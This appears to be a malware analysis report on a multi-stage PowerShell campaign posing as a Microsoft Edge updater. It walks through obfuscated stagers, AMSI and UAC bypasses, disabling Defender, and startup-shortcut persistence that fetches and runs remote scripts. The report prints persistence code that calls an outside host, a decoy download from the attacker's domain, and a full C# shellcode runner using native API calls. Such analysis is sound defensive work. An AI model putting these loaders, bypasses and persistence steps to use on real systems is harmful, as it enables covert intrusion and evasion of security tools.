Overview A sophisticated, multi-stage malware campaign was analyzed. The infection masquerades as a “Microsoft Edge Auto Updater” to deceive users and establish persistence. The campaign utilizes a dual-pronged attack strategy: a “Stealth Path” designed for covert surveillance using advanced C2 beacons, and a “Loud Path” designed for mass destruction, monetization, and lateral movement.
2. Technical Analysis
2.1 File Identification
The analysis began with a PowerShell script file named wix.ps1.
The file wix.ps1 functions as an initial execution stager. It does not contain clear-text malicious logic but rather carries an encrypted and compressed payload. The script employs a multi-layered obfuscation routine to conceal the next stage of execution.
Execution Flow:
Environment Prep: The script initiates with [Guid]::NewGuid(); [GC]::Collect(), likely to alter the memory stack or confuse heuristic engines that rely on specific memory offsets. It includes a Start-Sleep -m 1 (1 millisecond), which is too short for meaningful sandbox evasion but may serve to break execution continuity analysis tools.
String Sanitization: A large variable $data is defined containing a Base64-like string. The script attempts to sanitize this string by removing a specific junk pattern (CbiTqcKmNB...NVZG5QR) using the -replace operator. This disrupts static analysis tools attempting to decode the raw Base64 string without cleaning it first.
Decoding Chain:
Base64: The sanitized string is converted to bytes.
XOR Decryption: A bitwise XOR operation is applied to the byte array. The decimal key used is 139 (0x8B).
Decompression: The decrypted byte array is passed to a GzipStream for decompression.
Execution: The resulting clear-text code is executed in memory using IEX (Invoke-Expression). This is a fileless execution technique, as the second stage never touches the disk in an unencrypted state.
The decrypted payload (stage2.ps1) acts as an orchestration script. Its primary goals are to disable Windows Defender, bypass UAC (User Account Control), and establish persistence for a remote payload.
2.3.1 Defense Evasion & System Weakening
The script immediately attempts to neutralize AMSI (Antimalware Scan Interface) and Windows Defender using two distinct methods.
A. AMSI Bypass (Memory Patching) The script uses Reflection to patch the amsiSession and amsiContext fields within System.Management.Automation.AmsiUtils. By setting these fields to $null or invalid pointers, it prevents PowerShell from sending code to the antivirus engine for scanning.
C: Redundant AMSI Patching (Clear Text) Later in the execution flow, the script repeats the AMSI bypass technique, this time using clear-text variable names ($__m0, $__m1).
The malware establishes a detailed logging mechanism to track its own installation progress. This behavior is somewhat unusual for stealthy malware but provides significant forensic artifacts.
The script employs robust logic to ensure it persists across system reboots, masquerading as a legitimate Microsoft Edge update.
A. User Profile Discovery Instead of relying solely on standard environment variables, the malware attempts to identify the currently active interactive user.
Explorer Owner: It checks the owner of the explorer.exe process.
Quser Check: If that fails, it parses the output of the quser command.
functionGet-ExplorerProfile { $explorer = Get-Process explorer -ErrorAction SilentlyContinue | Select-Object-First1 if ($explorer) { $owner = (Get-WmiObject Win32_Process -Filter"ProcessId=$($explorer.Id)").GetOwner() if ($owner.User) { $path = "C:\Users\$($owner.User)" Write-DebugLog"[Get-ExplorerProfile] Found user='$($owner.User)' Profile='$path'" return$path } } Write-DebugLog"[Get-ExplorerProfile] explorer.exe not found or owner missing" return$null } functionGet-QUserProfile { $out = quser 2>&1 Write-DebugLog"[Get-QUserProfile] quser output: $out" if ($out-match'>([^\s]+)') { $user = $Matches[1] $path = "C:\Users\$user" Write-DebugLog"[Get-QUserProfile] Found user='$user' Profile='$path'" return$path } Write-DebugLog"[Get-QUserProfile] No interactive user detected" return$null }
B. LNK Masquerading The malware creates shortcut files (.lnk) in the Windows Startup folders.
File Name:EdgeAutoUpdater.lnk
Icon Disguise: It sets the icon path to C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe, making the shortcut visually indistinguishable from the legitimate browser.
$adminStartup = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\EdgeAutoUpdater.lnk" $defaultUserStartup = [Environment]::GetFolderPath("Startup") + "\EdgeAutoUpdater.lnk" Write-DebugLog"Admin startup: $adminStartup" Write-DebugLog"Default user startup: $defaultUserStartup" $userProfile = Get-ExplorerProfile if (-not$userProfile) { $userProfile = Get-QUserProfile } if ($userProfile) { $resolvedUserStartup = "$userProfile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeAutoUpdater.lnk" Write-DebugLog"Resolved user startup: $resolvedUserStartup" } else { $resolvedUserStartup = $defaultUserStartup Write-DebugLog"Using default user startup path: $resolvedUserStartup" } $payloadArgs = '-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iwr -UseBasicParsing $URL/stage0.ps1 | iex"' if (Create-LNK-lnkPath$adminStartup-targetPath"powershell.exe"-arguments$payloadArgs) { Write-DebugLog"Persisted to Admin startup" } elseif (Create-LNK-lnkPath$resolvedUserStartup-targetPath"powershell.exe"-arguments$payloadArgs) { Write-DebugLog"Persisted to User startup" } else { Write-DebugLog"FAILED to persist to any startup location" }
2.3.4 Privilege Escalation (UAC Bypass)
The script performs a privilege check ([Security.Principal.WindowsBuiltInRole]::Administrator). If the malware is running with standard privileges, it attempts to elevate itself using a Fileless UAC Bypass.
The script modifies the registry key: HKCU:\Software\Classes\ms-settings\shell\open\command.
It sets the DelegateExecute value to an empty string.
It sets the (Default) value to the malicious PowerShell command.
It executes C:\Windows\System32\fodhelper.exe.
Result: fodhelper.exe is a trusted Windows binary that auto-elevates without a UAC prompt. By hijacking its registry lookups, the malware gains Administrator rights silently.
To guarantee execution, the malware uses a “belt and suspenders” approach.
Scheduled Task: If LNK creation fails, it attempts to create a Scheduled Task named “EdgeAutoUpdaterTask” set to run immediately and daily at 00:00.
Immediate Invocation: Regardless of whether persistence succeeded, the script immediately triggers the next stage using Start-Process with the web delivery command.
Local LNK: As a final fallback, it creates a shortcut in the current script directory and launches it.
This script serves as the “Social Engineering” and “Persistence” module. It is designed to hide itself, blind the antivirus, distract the user with a fake document, and then set up the final payload.
Behavior: The script immediately spawns a new PowerShell process with the -WindowStyle Hidden flag. It downloads its own code from the C2 server again.
Purpose: This ensures that if the previous stage left a visible PowerShell window open, this stage immediately moves execution to an invisible background process to avoid alerting the victim.
Behavior: It downloads and executes a secondary, dedicated AMSI bypass script from the C2 server. This redundancy ensures that if the first patch failed (e.g., due to a signature update), the second script attempts to finish the job.
Once the system is blinded, the script deploys a distraction.
Decoy:John Bradley Resume.pdf
Action:
Downloads the PDF from the C2 server.
Saves it to the current directory.
Opens it using Invoke-Item (launching the default PDF viewer).
Impact: The user sees a legitimate-looking resume open on their screen. This leads them to believe the file they clicked was harmless, effectively masking the malware installation happening in the background.
1 2 3 4 5 6 7 8
iwr-Uri"https://4bb27f72.thisisnotyourland.pages.dev/John Bradley Resume.pdf"-Outfile'John Bradley Resume.pdf' $pdfPath = ".\John Bradley Resume.pdf" if (Test-Path$pdfPath) { Invoke-Item$pdfPath Write-Host"Opened '$pdfPath' in default PDF viewer. Continuing script execution..." } else { Write-Host"Error: '$pdfPath' not found."-ForegroundColor Red }
2.5.4 Step 4: Persistence Setup
While the user is viewing the PDF, the script runs a lengthy persistence routine (identical to Stage 2 but pointing to a new payload).
LNK Creation: Creates EdgeAutoUpdater2.lnk in the Startup folder.
UAC Bypass: Uses the fodhelper.exe registry technique to escalate privileges if not already Admin.
Scheduled Task: Registers EdgeAutoUpdaterTask as a fallback.
Target Payload: All persistence mechanisms are configured to download and run stage1.ps1.
2.6 Stage 5: The Shellcode Runner (fileless-loader.ps1)
The script in the execution chain is a sophisticated, fileless shellcode runner. Unlike the previous stages which relied on standard PowerShell commands, this stage compiles C# code in memory to perform low-level Windows API calls, a technique designed to bypass advanced Endpoint Detection and Response (EDR) systems.
2.6.1 Technique: Dynamic Invocation (D-Invoke)
The script manually defines a C# namespace DInvoke and compiles it using Add-Type. This allows it to use Dynamic API Resolution rather than standard P/Invoke.
Avoids [DllImport]: Standard malware uses [DllImport] to load generic Windows APIs (like VirtualAlloc). Security tools monitor these imports.
Manual Mapping: This script uses a custom GetLibraryAddress function to manually locate the memory addresses of kernel32.dll functions (VirtualAlloc, VirtualProtect, CreateThread, WaitForSingleObject) at runtime.
Impact: This hides the script’s intent from static analysis engines, as there are no explicit references to “malicious” API calls in the import table.
2.6.2 Anti-Debugging
The script includes a specific trap for analysts:
1
[System.Diagnostics.Debugger]::Break()
Purpose: This command triggers a hardware breakpoint. If the script is running inside a debugger (like x64dbg or a sandbox being monitored), execution will pause or crash. In a normal victim environment, this might be ignored or cause a silent exception, allowing execution to proceed.
2.6.3 Payload Decryption (Polyalphabetic XOR)
The shellcode is not stored in cleartext. It uses a Polyalphabetic XOR cipher (Rolling Key), which is significantly stronger than the single-byte XOR used in Stages 1 and 3.
Encryption: The shellcode is stored in a byte array $xoredShellcode.
The script executes the decrypted payload within its own process memory (PowerShell) to avoid creating new, suspicious processes.
Memory Allocation: Uses VirtualAlloc to reserve memory with Read/Write permissions (0x04).
Writing: Copies the decrypted shellcode into the allocated buffer.
Permission Change: Uses VirtualProtect to change the memory permissions to Read/Execute (0x20).
Note: Using 0x20 (RX) instead of 0x40 (RWX) is an OpSec technique to avoid heuristic detection triggers that look for “RWX” (Read-Write-Execute) memory pages.
Execution: Uses CreateThread to spawn a new thread starting at the shellcode’s address.
try { Write-Host"Injecting shellcode..."-ForegroundColor Yellow # C# breakpoint INT3 [System.Diagnostics.Debugger]::Break() # same as __debugbreak() in C $threadHandle = [DInvoke.SelfInjection]::Inject($xoredShellcode, $xorKey, $true) if ($threadHandle-ne [IntPtr]::Zero) { Write-Host"[+] Injection successful. Thread Handle: $threadHandle"-ForegroundColor Green }
} catch { Write-Host"[-] Injection failed!"-ForegroundColor Red Write-Host"[-] Error: $($_.Exception.Message)"-ForegroundColor Red # Check for inner exceptions (common with D-Invoke compilation issues) if ($_.Exception.InnerException) { Write-Host"[-] Details: $($_.Exception.InnerException.Message)"-ForegroundColor Red } }
2.6.5 Payload Extraction
The binary payload was extracted by replicating the script’s decryption routine.
Calls to amsibypass.ps1 were observed in the previous stage. Despite its name suggesting a simple configuration script, analysis reveals it is another fully weaponized shellcode runner.
2.7.1 Initial Execution & Basic Bypass
The script begins with a standard, well-known AMSI bypass technique to clear the way for its own unpacking routine.
The decrypted payload (amsibypass_1.ps1) was analyzed. Its primary function is to inject a specific shellcode payload using low-level system calls to avoid detection by EDR hooks.
A. Native API (NTAPI) Usage Unlike the payload (Stage 5) which uses kernel32.dll functions, this module resolves functions directly from ntdll.dll.
Technique:Dynamic NTAPI Resolution.
Mechanism:
It defines a custom DInvoke class to manually locate GetProcAddress and LoadLibraryA.
It resolves critical Native APIs:
NtAllocateVirtualMemory: For memory allocation (bypassing VirtualAlloc).
NtProtectVirtualMemory: For changing permissions (bypassing VirtualProtect).
NtCreateThreadEx: For execution (bypassing CreateThread).
Significance: Security products often place “hooks” on kernel32.dll functions to monitor for malware. By calling ntdll.dll functions directly, this script bypasses those user-mode hooks.
$code = @" using System; using System.Runtime.InteropServices; public class DInvokeShellcode { public const uint MEM_COMMIT = 0x00001000; public const uint MEM_RESERVE = 0x00002000; public const uint PAGE_EXECUTE_READWRITE = 0x40; public const uint PAGE_READWRITE = 0x04; public const uint PROV_RSA_AES = 24; public const uint CRYPT_VERIFYCONTEXT = 0xF0000000; public const uint CALG_SHA_256 = 0x0000800c; public const uint CALG_AES_128 = 0x0000660e; public static class DInvoke { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr LoadLibraryA(string lpFileName); public static IntPtr GetFunctionAddress(string moduleName, string functionName) { WriteOutput("Resolving " + functionName + " in " + moduleName); IntPtr hModule = LoadLibraryA(moduleName); if (hModule == IntPtr.Zero) { WriteOutput("LoadLibraryA failed for " + moduleName + ": Error " + Marshal.GetLastWin32Error()); return IntPtr.Zero; } IntPtr funcPtr = GetProcAddress(hModule, functionName); if (funcPtr == IntPtr.Zero) { WriteOutput("GetProcAddress failed for " + functionName + ": Error " + Marshal.GetLastWin32Error()); } else { WriteOutput("Resolved " + functionName + " at 0x" + funcPtr.ToInt64().ToString("X")); } return funcPtr; } } [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int NtAllocateVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int NtProtectVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint Protect, ref uint OldProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int NtCreateThreadExDelegate( ref IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Parameter, uint CreateFlags, IntPtr ZeroBits, IntPtr StackSize, IntPtr MaximumStackSize, IntPtr AttributeList); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool CloseHandleDelegate(IntPtr hObject); public static int XORDecrypt(byte[] encryptedData, byte[] xorKey) { WriteOutput("Starting XOR decryption"); try { if (xorKey == null || xorKey.Length != 16) throw new ArgumentException("Invalid XOR key length, expected 16 bytes"); for (int i = 0; i < encryptedData.Length; i++) { encryptedData[i] = (byte)(encryptedData[i] ^ xorKey[i % xorKey.Length]); } WriteOutput("XOR decryption successful"); return 0; } catch (Exception ex) { WriteOutput("XOR decryption error: " + ex.Message); return -1; } } public static int AESDecrypt(byte[] encryptedData, byte[] key) { WriteOutput("Starting AES decryption"); IntPtr hProv = IntPtr.Zero; IntPtr hHash = IntPtr.Zero; IntPtr hKey = IntPtr.Zero; try { if (!CryptAcquireContextW(ref hProv, null, null, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { WriteOutput("CryptAcquireContextW failed: Error " + Marshal.GetLastWin32Error()); return -1; } if (!CryptCreateHash(hProv, CALG_SHA_256, IntPtr.Zero, 0, ref hHash)) { WriteOutput("CryptCreateHash failed: Error " + Marshal.GetLastWin32Error()); return -1; } if (!CryptHashData(hHash, key, (uint)key.Length, 0)) { WriteOutput("CryptHashData failed: Error " + Marshal.GetLastWin32Error()); return -1; } if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, ref hKey)) { WriteOutput("CryptDeriveKey failed: Error " + Marshal.GetLastWin32Error()); return -1; } byte[] dataToDecrypt = (byte[])encryptedData.Clone(); uint dataLength = (uint)dataToDecrypt.Length; if (!CryptDecrypt(hKey, IntPtr.Zero, true, 0, dataToDecrypt, ref dataLength)) { WriteOutput("CryptDecrypt failed: Error " + Marshal.GetLastWin32Error()); return -1; } Array.Copy(dataToDecrypt, 0, encryptedData, 0, (int)dataLength); WriteOutput("AES decryption successful"); return 0; } catch (Exception ex) { WriteOutput("AES decryption error: " + ex.Message); return -1; } finally { if (hKey != IntPtr.Zero) CryptDestroyKey(hKey); if (hHash != IntPtr.Zero) CryptDestroyHash(hHash); if (hProv != IntPtr.Zero) CryptReleaseContext(hProv, 0); } } public static void ExecuteShellcode(byte[] encryptedShellcode, byte[] aesKey, byte[] xorKey) { WriteOutput("Starting ExecuteShellcode"); try { if (encryptedShellcode == null || encryptedShellcode.Length == 0) throw new ArgumentException("Invalid shellcode"); // Try XOR decryption first WriteOutput("Attempting XOR decryption"); byte[] decryptedShellcode = (byte[])encryptedShellcode.Clone(); int xorResult = XORDecrypt(decryptedShellcode, xorKey); bool useXOR = (xorResult == 0); if (!useXOR) { WriteOutput("XOR decryption failed, falling back to AES"); if (aesKey == null || aesKey.Length != 16) throw new ArgumentException("Invalid AES key"); decryptedShellcode = (byte[])encryptedShellcode.Clone(); int aesResult = AESDecrypt(decryptedShellcode, aesKey); if (aesResult != 0) throw new Exception("Failed to decrypt shellcode. Error code: " + aesResult); } WriteOutput("Shellcode decrypted successfully"); IntPtr ntAllocPtr = DInvoke.GetFunctionAddress("ntdll.dll", "NtAllocateVirtualMemory"); if (ntAllocPtr == IntPtr.Zero) throw new Exception("Failed to resolve NtAllocateVirtualMemory"); var ntAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemoryDelegate>(ntAllocPtr); IntPtr ntProtectPtr = DInvoke.GetFunctionAddress("ntdll.dll", "NtProtectVirtualMemory"); if (ntProtectPtr == IntPtr.Zero) throw new Exception("Failed to resolve NtProtectVirtualMemory"); var ntProtectVirtualMemory = Marshal.GetDelegateForFunctionPointer<NtProtectVirtualMemoryDelegate>(ntProtectPtr); IntPtr ntCreateThreadPtr = DInvoke.GetFunctionAddress("ntdll.dll", "NtCreateThreadEx"); if (ntCreateThreadPtr == IntPtr.Zero) throw new Exception("Failed to resolve NtCreateThreadEx"); var ntCreateThreadEx = Marshal.GetDelegateForFunctionPointer<NtCreateThreadExDelegate>(ntCreateThreadPtr); WriteOutput("Running shellcode in .NET"); IntPtr memory = IntPtr.Zero; IntPtr size = (IntPtr)decryptedShellcode.Length; int status = ntAllocateVirtualMemory((IntPtr)(-1), ref memory, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status != 0 || memory == IntPtr.Zero) throw new Exception(String.Format("NtAllocateVirtualMemory failed. Status: 0x{0:X}, Error: {1}", status, Marshal.GetLastWin32Error())); WriteOutput(String.Format("Allocated memory at 0x{0:X}", memory.ToInt64())); Marshal.Copy(decryptedShellcode, 0, memory, decryptedShellcode.Length); uint oldProtect = 0; status = ntProtectVirtualMemory((IntPtr)(-1), ref memory, ref size, PAGE_EXECUTE_READWRITE, ref oldProtect); if (status != 0) throw new Exception(String.Format("NtProtectVirtualMemory failed. Status: 0x{0:X}, Error: {1}", status, Marshal.GetLastWin32Error())); WriteOutput("Memory protection changed to PAGE_EXECUTE_READWRITE"); IntPtr threadHandle = IntPtr.Zero; status = ntCreateThreadEx( ref threadHandle, 0x1FFFFF, IntPtr.Zero, (IntPtr)(-1), memory, IntPtr.Zero, 0, IntPtr.Zero, (IntPtr)0x100000, (IntPtr)0x1000, IntPtr.Zero ); if (status != 0 || threadHandle == IntPtr.Zero) throw new Exception(String.Format("NtCreateThreadEx failed. Status: 0x{0:X}, Error: {1}", status, Marshal.GetLastWin32Error())); WriteOutput(String.Format("Thread created with handle 0x{0:X}", threadHandle.ToInt64())); // Close the thread handle since we don't need to wait for it IntPtr closeHandlePtr = DInvoke.GetFunctionAddress("kernel32.dll", "CloseHandle"); if (closeHandlePtr == IntPtr.Zero) { WriteOutput("Failed to resolve CloseHandle, handle will be leaked"); } else { var closeHandle = Marshal.GetDelegateForFunctionPointer<CloseHandleDelegate>(closeHandlePtr); if (!closeHandle(threadHandle)) { WriteOutput("CloseHandle failed: Error " + Marshal.GetLastWin32Error()); } else { WriteOutput("Thread handle closed"); } } WriteOutput("Shellcode execution initiated successfully (thread is running in background)"); } catch (Exception ex) { WriteOutput("Shellcode execution failed: " + ex.Message); throw; } } private static void WriteOutput(string message) { Console.WriteLine(message); } [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptAcquireContextW(ref IntPtr hProv, string pszContainer, string pszProvider, uint dwProvType, uint dwFlags); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptCreateHash(IntPtr hProv, uint Algid, IntPtr hKey, uint dwFlags, ref IntPtr phHash); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptHashData(IntPtr hHash, byte[] pbData, uint dwDataLen, uint dwFlags); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptDeriveKey(IntPtr hProv, uint Algid, IntPtr hBaseData, uint dwFlags, ref IntPtr phKey); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptDecrypt(IntPtr hKey, IntPtr hHash, bool Final, uint dwFlags, byte[] pbData, ref uint pdwDataLen); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptDestroyKey(IntPtr hKey); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptDestroyHash(IntPtr hHash); [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CryptReleaseContext(IntPtr hProv, uint dwFlags); } "@
B. Hybrid Decryption Routine The script includes a robust decryption engine capable of handling both XOR and AES encryption.
Primary Attempt (XOR): It first attempts to decrypt the shellcode using a 16-byte Polyalphabetic XOR key (0x84, 0x2c…).
Secondary Fallback (AES): If XOR fails (though the code forces it to try XOR first), it contains a full implementation of the Windows CryptoAPI (CryptDecrypt, CryptCreateHash) to perform AES-128 decryption.
Observation: The script logic provided shows it using the XOR path with the key 0x84…0x76.
C. Redundant Defense Disabling After the shellcode thread is launched, the script executes a “clean-up” routine that mirrors Stage 2:
Defender Kill: Re-runs Set-MpPreference to disable Real-time monitoring and Script Scanning.
AMSI Kill: Re-runs the Reflection-based memory patch (amsiSession = $null).
Purpose: This “scorched earth” strategy ensures that even if the injected shellcode fails or is delayed, the PowerShell environment remains blinded for subsequent commands.
The extracted binary is a Reflective DLL. The analysis of the decompiled shellcode confirms it uses a custom loader to map itself into memory, bypassing the Windows OS loader.
A. Bootstrap & Payload Location (Entry Point) The execution begins with a standard “Get PC” (Program Counter) technique to determine its own location in memory and calculate the offset of the embedded payload.
The code adds 0xb23 to the current instruction pointer (0x05). The result, 0xB28, is passed as the first argument (RCX) to the loader function at offset 0x40. This confirms that the malicious DLL (the “MZ” header) is embedded at file offset 0xB28.
B. Obfuscation & API Resolution The loader employs two distinct techniques to hide its imports and resolve Windows APIs dynamically.
Stack Strings: To defeat strings analysis, the function at 0x40 manually constructs key API names on the stack character-by-character.
1 2 3 4
// Manually building "Sleep" __builtin_strncpy(&var_168, "Sleep", 5); // Manually building "VirtualAlloc" __builtin_strncpy(&var_160, "VirtualAlloc", 0xc);
A. API Hashing & Resolution (ROR13) The function at 0xa1c is the API Resolution Routine. It walks the Process Environment Block (PEB) to find loaded modules (kernel32.dll, etc.) and finds exported functions by hashing their names.
Algorithm:ROR13 (Rotate Right 13).
1 2
// From decompilation of sub_a1c 00000ac2 rbx_1 = RORD(rbx_1, 0xd) + rcx_1; // ROR 13 + Char
Target Hash: The code calls sub_a1c(0xbdbf9c13) and sub_a1c(0x5ed941b5). These are well-known ROR13 hashes:
0xbdbf9c13 -> LoadLibraryA
0x5ed941b5 -> GetProcAddress
C. The Loader Loop The function at 0x40 implements the classic Reflective Loader steps:
Header Check: Checks for PE signature and 0x8664 (x64 machine type).
This confirms that the shellcode functions as a stub to execute the 64-bit DLL embedded at offset 0xB28 and size 0x4c200
2.9 Extracted Payload Analysis
Following the identification of the start offset at 0xB28, the embedded PE payload was successfully carved from the shellcode blob. The extracted artifact is a 64-bit Dynamic Link Library (DLL).
2.9.1 PE Metadata
Analysis of the extracted DLL headers (see Figure 2) reveals the following critical attributes:
Attribute
Value
Analysis
File Type
PE64 (DLL)
64-bit Dynamic Link Library
Size
304.50 KiB (0x4C200 bytes)
The file size is relatively compact, typical of remote access agents or stagers.
Timestamp
2025-10-03 03:24:01
Compilation Date. Indicates this specific payload was generated on October 3, 2025.
Compiler
Visual Studio 2022 (v17.6)
Compiled with Microsoft Visual C/C++.
Sections
7
The binary contains 7 sections. This is slightly higher than a standard legitimate DLL (usually 4-5), suggesting potential custom packing or data sections for configuration.
Entry Point
0x18000E894
The code execution starts at Relative Virtual Address (RVA) 0xE894.
2.9.2 Import & Export Analysis
Static analysis of the DLL’s symbol tables (Figure 3) reveals a highly specific operational focus: AMSI Manipulation.
A. Exports: The Mock Function The DLL exports a single, non-standard function:
Name:_AmsiScanBuffer (Ordinal 1)
B. Imports: The Target & Capability The DLL imports only two libraries, further confirming its specialized nature:
Decompilation of the DLL’s entry point (_start at 0x18000E894) reveals the standard initialization sequence for a Visual Studio-compiled binary.
A. Security Cookie Initialization (sub_18000f08c) Upon loading with DLL_PROCESS_ATTACH (arg2 == 1), the entry point immediately calls sub_18000f08c.
Logic: This function generates a Stack Canary (Security Cookie) to prevent stack buffer overflows.
Entropy Sources: It gathers system data to randomize the cookie:
GetSystemTimeAsFileTime
GetCurrentThreadId / GetCurrentProcessId
QueryPerformanceCounter
B. CRT Dispatcher (dllmain_dispatch) After initializing the security cookie, execution passes to dllmain_dispatch (0x18000e76c). This function acts as a router.
Function: It calls the C Runtime initialization (dllmain_crt_dispatch) and, critically, calls the internal function sub_1800010f0.
Observation: The function sub_1800010f0 is called during the execution flow. In standard malware compilation, this usually wraps the actual malicious logic (the Beacon initialization or the AMSI patching routine).
C. Execution Flow Summary
Loader calls Entry Point (_start).
_start initializes anti-exploit mechanisms.
_start calls the Dispatcher.
Dispatcher executes the internal payload ( sub_1800010f0).
2.9.4 Static Analysis: The Hooking Engine
Analysis of the internal functions confirms the presence of a sophisticated inline hooking engine. The malware identifies the target function (AmsiScanBuffer) and overwrites its prologue to redirect execution to a “clean” stub.
A. Payload Initialization (sub_1800010f0) This function serves as the main controller for the hooking logic.
Logic:
Console Spoofing: Calls AllocConsole() and redirects CONOUT$ to it, likely to suppress or control output during the patching process.
Thread Suspending: Calls sub_18000cac0(GetCurrentThread()). This suspends the current thread to ensure atomicity while modifying code in memory, preventing race conditions or crashes.
Hook Installation:
If arg2 == 1 (Attach): Calls sub_18000bb80.
If arg2 == 0 (Detach): Calls sub_18000c200.
Target: Both calls pass _AmsiScanBuffer (the internal proxy function) as the redirection target.
B. Hook Installation (sub_18000bb80 -> sub_18000bbc0) The function at 18000bbc0 implements the hooking logic. It calculates the necessary trampoline (jump) code to overwrite the beginning of the target function.
This explicit call to VirtualProtect with PAGE_EXECUTE_READWRITE (0x40) is the confirmation that the code is modifying executable memory segments at runtime.
C. Hook Removal / Restoration (sub_18000c200) The function at 18000c200 is responsible for restoring the original bytes if the DLL is unloaded.
Logic: It retrieves the original bytes stored in a backup structure and writes them back to the target address, again using VirtualProtect to enable writing.
2.9.5 The Bypass Logic (Argument Swapping)
The proxy function _AmsiScanBuffer (0x180001000) does not simply return a success code. Instead, it employs an Argument Swapping technique.
1 2 3 4 5
// Decompiled logic of the proxy function sub_1800014d0(..., "[+] AmsiScanBuffer called"); // Log activity ... // Call Original AMSI, but replace 'buffer' (arg2) with "SafeString" return OriginalAmsiScanBuffer(arg1, "SafeString", arg3, arg4, arg5, arg6);
Mechanism:
Interception: When PowerShell attempts to scan a malicious script, the execution is redirected to this proxy.
Logging: The malware prints the buffer length and details to the spoofed console (likely for the attacker’s debugging).
The Switch: It calls the legitimate AmsiScanBuffer function but replaces the pointer to the malicious code with a pointer to the static string “SafeString”.
Result: Windows Defender scans the string “SafeString”, determines it is benign, and returns AMSI_RESULT_CLEAN. The malware effectively “laundered” the scan request.
2.10 Stage 6: Final Payload Delivery (stage1.ps1)
This script acts as the gatekeeper. It is retrieved from the C2 server only after the persistence mechanisms are established and the system defenses (AMSI) have ideally been neutralized by the previous stages.
2.10.1 Redundant Defense Evasion
Despite previous stages already patching AMSI, this script performs a “Check-and-Mate” bypass at the very first line of execution.
Purpose: This ensures that even if the previous AMSI hooking DLL (analyzed in Section 2.9) failed to inject or crashed, the current PowerShell session is still blinded before the final payload is decrypted.
2.10.2 Payload Decryption
The script follows the established obfuscation pattern of the campaign but rotates the cryptographic key again to prevent generic decryption tools from working.
Sanitization: Removes a junk string (cG7Rq...).
Decoding: Base64 Decode.
Decryption (XOR):
Key: 64 (0x40).
Observation: This is the fourth unique single-byte key used in the chain (139 -> 229 -> 11 -> 64).
Decompression: Gzip.
Execution: IEX $plain (Executes the decrypted payload in memory).
The decrypted script (stage1_1.ps1) functions as a Mass Deployment Orchestrator. Its primary purpose is to download a large library of secondary scripts and execute them simultaneously.
2.11.1 Immediate Defense Evasion
The script’s very first action is to download and execute the AMSI Bypass module (amsibypass.ps1) analyzed in Section 2.5.
Polymorphism: Analysis indicates that this specific instance of amsibypass.ps1 uses XOR Key 48 (0x30) for decryption, whereas the version analyzed in Section 2.5 used Key 11.
Payload Identity: Despite the cryptographic variation (Polymorphism) used to evade hash-based signatures, the underlying decrypted payload remains identical: it is the same Native AMSI Hooking DLL designed to blind the antivirus before the script processes the remaining malicious variables.
2.11.2: Payload Definition (Command Staging)
The script defines a list of 16 variables. Crucially, due to the use of double quotes (“), these lines do not immediately download the payloads. Instead, they store the download command as a string to be executed later.
The script performs a privilege check ($isAdministrator). If it is running with Administrator rights, it initiates an aggressive “Scorched Earth” protocol to permanently disable defenses and establish system-wide persistence.
System-Wide Persistence (HKLM): Unlike the previous stages which used User-level keys (HKCU), this script utilizes the Local Machine (HKLM) “Run” key.
Key Name: WinUpdateService (Masquerading as Windows Update).
Impact: This ensures the malware runs for every user on the system upon boot, not just the current victim.
Polymorphic Payload Delivery: The persistence command downloads stage0.ps1
Variant Analysis: While the filename (stage0.ps1) matches the file analyzed in Section 2.4, detailed analysis reveals that this version uses XOR Key 211 (0xD3) for decryption, whereas the previous version used XOR Key 229 (0xE5).
Significance: This confirms the campaign utilizes Polymorphism. The attacker generates unique, re-encrypted variants of the same loader (Loader A, Loader B) to render hash-based blacklisting ineffective.
Defense Neutralization: The script iterates through Set-MpPreference to disable Real-time Monitoring and IOAV Protection. Crucially, it adds the specific drop locations of its upcoming payloads ($adminstartup, $adminhidden) to the Exclusion List, ensuring the installers dropped in later steps are ignored by the AV.
2.11.4 Concurrent Payload Execution
After preparing the system and staging the command strings, the staging string-encoded commands evaluates and executes them in parallel using a pooled .NET Runspace architecture, allowing multiple payloads to be downloaded and run concurrently.
As noted in Section 2.11.2, variables like $filelessransomware previously held only the command string (e.g., “(iwr ...).ReadToEnd()“).
The command $code = Invoke-Expression $var effectively “detonates” this string. It forces the script to reach out to the C2 server, download the raw source code of the malicious payload, and store the actual script content in the variable.
Multi-Threading (RunspacePool):
The script creates a RunspacePool allowing up to 16 concurrent threads.
